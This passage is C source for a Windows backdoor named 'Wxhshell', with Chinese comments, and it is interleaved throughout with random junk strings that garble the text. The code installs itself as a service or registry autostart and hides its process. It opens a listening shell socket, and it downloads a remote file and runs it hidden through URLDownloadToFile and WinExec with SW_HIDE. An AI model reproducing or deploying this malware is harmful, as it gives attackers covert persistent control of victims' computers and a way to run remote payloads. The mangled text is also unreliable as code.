if(hProcess==NULL) return 0; I_RsYw qgfi\/$6 HMODULE hMod; o"*AtGR+" char procName[255]; 812$`5l unsigned long cbNeeded; AM!G1^c ~?(N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D*lKn62 x&0vKo; CloseHandle(hProcess); ~c\e'≻ vh$%9ed if(strstr(procName,"services")) return 1; // 以服务启动 SJHr_bawd )rC6*eR return 0; // 注册表启动 I"GB<oB } |j7,Mu+ OLE[UXD-E // 主模块 Oeok; : int StartWxhshell(LPSTR lpCmdLine) Ftr5k^! { 2 O%`G+\) SOCKET wsl; >G%o,9i BOOL val=TRUE; ,'u W*kx int port=0; b}"N`,0dO struct sockaddr_in door; f.9SB
p9x(D/YP0 if(wscfg.ws_autoins) Install(); ,LnII w9bbMx port=atoi(lpCmdLine); ;<ZLcTL S Em Q@1 if(port<=0) port=wscfg.ws_port; |AozR ~ N(Tz%o4 WSADATA data; @"^0%/2- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LA}Syt\F 9@Jtaq>jf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Hhcpp7cr' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rp;b" q door.sin_family = AF_INET; }F#okU door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Pdf,2 door.sin_port = htons(port); uo@n(>}EL '2 PF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fR(d closesocket(wsl); {y_98N return 1; )!P)U(*v } :qd`zG3 JPoN&BTCj if(listen(wsl,2) == INVALID_SOCKET) { ~=uWD&5B4 closesocket(wsl); ,Vt/(x- return 1; 1ng!G 7g } ?j"KV_ Wxhshell(wsl); ?B2] -+Y WSACleanup(); Gz,i~XX {?:X8&Sf return 0; Hl{S]]z iT2B'QI=< } J4fi' ,[P{HrHx // 以NT服务方式启动 hpO`] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %H]ptH5 { ur:3W6ZKl DWORD status = 0; 5\]Sv]s)R DWORD specificError = 0xfffffff; xdp`<POn% R#%(5-Zu#R serviceStatus.dwServiceType = SERVICE_WIN32; 6\g cFfo serviceStatus.dwCurrentState = SERVICE_START_PENDING; YQj 2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @$[?z9ck" serviceStatus.dwWin32ExitCode = 0; NQJq6S4@ serviceStatus.dwServiceSpecificExitCode = 0; RO 4Z?tz serviceStatus.dwCheckPoint = 0; e4?>- serviceStatus.dwWaitHint = 0; RBs-_o+ % 2N: ,Q8~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [YlKR'_ if (hServiceStatusHandle==0) return; Cv6'`",Yzm _V7s#_p status = GetLastError(); x!5'`A!W% if (status!=NO_ERROR) Vl&?U { ,-8"R`UI8 serviceStatus.dwCurrentState = SERVICE_STOPPED; DtXrWS/ serviceStatus.dwCheckPoint = 0; VY
| _dk serviceStatus.dwWaitHint = 0; t*Sa@$p serviceStatus.dwWin32ExitCode = status; I ?gSG*m serviceStatus.dwServiceSpecificExitCode = specificError; (nf~x SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z2qW\E^_r return; =8AO: } K,+LG7ec n"G&ENN"$ serviceStatus.dwCurrentState = SERVICE_RUNNING; }`%*W`9b serviceStatus.dwCheckPoint = 0; J&W)(Cf serviceStatus.dwWaitHint = 0; 3@dL/x4A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v0z5j6)-1 } vHryPl+ }$SavB#SBP // 处理NT服务事件,比如:启动、停止 k_
& :24Lj VOID WINAPI NTServiceHandler(DWORD fdwControl) mr*JJF0Z { ON=@O switch(fdwControl) (^TF%(H { ,|y:" s case SERVICE_CONTROL_STOP: WrQD X3 serviceStatus.dwWin32ExitCode = 0; hI]Hp3S serviceStatus.dwCurrentState = SERVICE_STOPPED; B-ngn{Yc serviceStatus.dwCheckPoint = 0; .HS"}A T serviceStatus.dwWaitHint = 0; BJ$9vbhZN { {< )1q ; SetServiceStatus(hServiceStatusHandle, &serviceStatus); >3_jWFq } [ 9 {*94M return; I,>-t GK case SERVICE_CONTROL_PAUSE: xS4w5i2 serviceStatus.dwCurrentState = SERVICE_PAUSED; n}F&1Z break; 3!XjtVhK?I case SERVICE_CONTROL_CONTINUE: $q6BP'7 serviceStatus.dwCurrentState = SERVICE_RUNNING; 7K,-01-: break; _x%7@.TB case SERVICE_CONTROL_INTERROGATE: y{ibO}s break; ^1iSn)& }; JEXy%hl SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qu?R8+"KS } %7zuQ \w _}lZ,L(w // 标准应用程序主函数 { C=NUK%? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]
o*#t { BLfTsNzmt *scVJ // 获取操作系统版本 #hfXZVD OsIsNt=GetOsVer(); \KMToN&2 GetModuleFileName(NULL,ExeFile,MAX_PATH); tItX y [I'0,y // 从命令行安装 nw -xSS{ if(strpbrk(lpCmdLine,"iI")) Install(); & ?h#Z! XewVcRo // 下载执行文件 27
]':A4_ if(wscfg.ws_downexe) { TSTl+W if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]zj9A]i:a WinExec(wscfg.ws_filenam,SW_HIDE); R "n5 } ^U
`[(kz= Ixb=L(V if(!OsIsNt) { 2|3)S`WZl // 如果时win9x,隐藏进程并且设置为注册表启动 RQ vft HideProc(); i6dHrx]:, StartWxhshell(lpCmdLine); "+kL)] } fkuLj%R else ii[F]sR\ if(StartFromService()) qkt0**\ // 以服务方式启动 =
s>T;| StartServiceCtrlDispatcher(DispatchTable); Vq2y4D? else HG^B#yX // 普通方式启动 .{ocV#{s StartWxhshell(lpCmdLine); jF ^~p9z z.7cy@N6 return 0; f[<m<I }
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